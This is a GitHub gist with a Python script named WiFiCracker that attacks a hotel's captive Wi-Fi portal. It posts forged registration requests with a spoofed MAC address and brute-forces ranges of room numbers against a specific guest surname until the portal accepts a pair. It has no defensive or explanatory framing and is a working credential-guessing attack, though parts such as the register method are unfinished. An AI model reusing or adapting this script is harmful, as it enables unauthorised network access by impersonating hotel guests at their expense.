Last active
August 30, 2015 02:31
-
-
Save colonelpanic8/0792d1ccbdcd7629dd2a to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import requests | |
| import subprocess | |
| from lxml import html | |
| from xpath import xpb | |
| def get_stdout_from_command(command, args): | |
| return subprocess.Popen(command, stdout=subprocess.PIPE).stdout.read() | |
| class WiFiCracker(object): | |
| uri = "http://soln-sr3432.solutionip.com/common_ip_cgi/pms_access.cgi" | |
| register_uri = "http://soln-sr3432.solutionip.com/common_ip_cgi/Register/register.cgi" | |
| @property | |
| def local_ip(self): | |
| return get_stdout_from_command(["bash", "-c", "\"ifconfig | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | grep -Eo '([0-9]*\.){3}[0-9]*' | grep -v '127.0.0.1'\""]) | |
| def __init__(self, ip_address=None, mac_address="70:56:81:b4:9e:f5"): | |
| self.ip_address = ip_address or self.local_ip | |
| self.mac_address = mac_address | |
| def register(self, ip_address=None, mac_address=None): | |
| query_params = { | |
| "QCB":"3", | |
| "MAC_ADDRESS": mac_address or self.mac_address, | |
| "VLAN_ID":"0", | |
| "ASSIGNED_IP": ip_address or self.ip_address, | |
| "ROOM_NO":"Virtual Room", | |
| "FLAGS":"3", | |
| "PORT_ID":"0", | |
| "STATUS":"1", | |
| "SC":"1", | |
| "ACCESS_CODE":"", | |
| "UID":"6165", | |
| "LANG_CHOICE":"English" | |
| } | |
| response = requests.post(self.register_uri, data=query_params) | |
| import ipdb; ipdb.set_trace() | |
| tree = html.fromstring(response.content) | |
| input_elems = xpb.form(name="pms_access").input.apply_(tree) | |
| return { | |
| ie.attrib['name']: ie.attrib['value'] | |
| } | |
| def check_room_numbers(self, room_numbers, last_name): | |
| for room_number in room_numbers: | |
| response = self._get_response(last_name, room_number) | |
| if "does not match supplied information" in response.content: | |
| print "Checked last_name: {0}, room_number {1} with no success".format(last_name, room_number) | |
| else: | |
| print "last_name: {0}, room_number {1} worked!!!".format(last_name, room_number) | |
| return response | |
| print "No responses found." | |
| def _get_response(self, last_name, room_number, | |
| ip_address=None, mac_address=None): | |
| query_params = { | |
| "STATUS": "1", | |
| "ROOM_NO": "Virtual Room", | |
| "SIV": "", | |
| "SERVICE_CLASS": "", | |
| "ASSIGNED_IP": ip_address or self.ip_address, | |
| "MAC_ADDRESS": mac_address or self.mac_address, | |
| "FLAGS": "3", | |
| "PORT_ID": "0", | |
| "REG_TYPE": "S1", | |
| "MODE": "1", | |
| "VLAN_ID": "0", | |
| "ORIG_REG_EXP_TIME": "", | |
| "SOLN_REG_TRANS_DT": "1417232670", | |
| "SOLN_REG_TRANS_KEY": "aaa6d3ef5bf5f36839329b80c1837126", | |
| "QOS_QUEUE": "2", | |
| "CURRENT_QOS_QUEUE": "", | |
| "QOS_FEE_BASIS": "", | |
| "FEE_AMOUNT": "0", | |
| "SOLIP_TYPE": "Standard", | |
| "LANG_CHOICE": "English", | |
| "PMS_ROOM_NUMBER": room_number, | |
| "PMS_LAST_NAME": last_name, | |
| "submit.x": "95", | |
| "submit.y": "5", | |
| "submit": "submit" | |
| } | |
| return requests.post(self.uri, data=query_params) | |
| if __name__ == '__main__': | |
| room_ranges = [ | |
| range(104,116), | |
| range(201,219), range(221,243), range(246,250), | |
| range(301,319), range(321,343), range(346,350), | |
| range(421,444), | |
| [401,417,419, 450], | |
| [501, 502, 504, 505, 507], | |
| range(601,607), | |
| ] | |
| wc = WiFiCracker() | |
| for room_range in room_ranges: | |
| response = wc.check_room_numbers(room_range, "Rashid") | |
| if response: | |
| import ipdb; ipdb.set_trace() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment